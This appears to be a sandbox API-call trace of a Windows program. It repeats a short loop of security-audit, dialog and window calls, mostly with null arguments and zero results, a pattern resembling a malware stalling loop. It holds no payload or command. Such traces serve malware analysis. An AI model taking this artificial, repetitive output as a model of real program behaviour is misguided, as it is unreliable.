AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.519] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.519] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.519] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.519] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.519] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.519] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.519] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.519] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.520] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.520] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.520] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.520] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.520] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.520] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.520] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.520] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.520] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.520] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.520] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.520] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.521] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.521] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.521] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.521] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.521] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.521] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.521] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.521] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.521] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.521] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.522] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.522] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.522] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.522] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.522] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.522] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.522] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.522] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.522] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.522] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.522] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.522] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.522] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.523] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.523] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.523] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.523] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.523] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.523] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.523] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.523] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.523] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.523] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.523] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.524] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.524] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.524] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.524] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.524] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.524] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.524] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.524] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.524] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.524] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.524] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.524] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.525] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.525] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.525] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.525] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.525] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.525] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.525] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.525] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.525] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.525] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.525] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.526] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.526] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 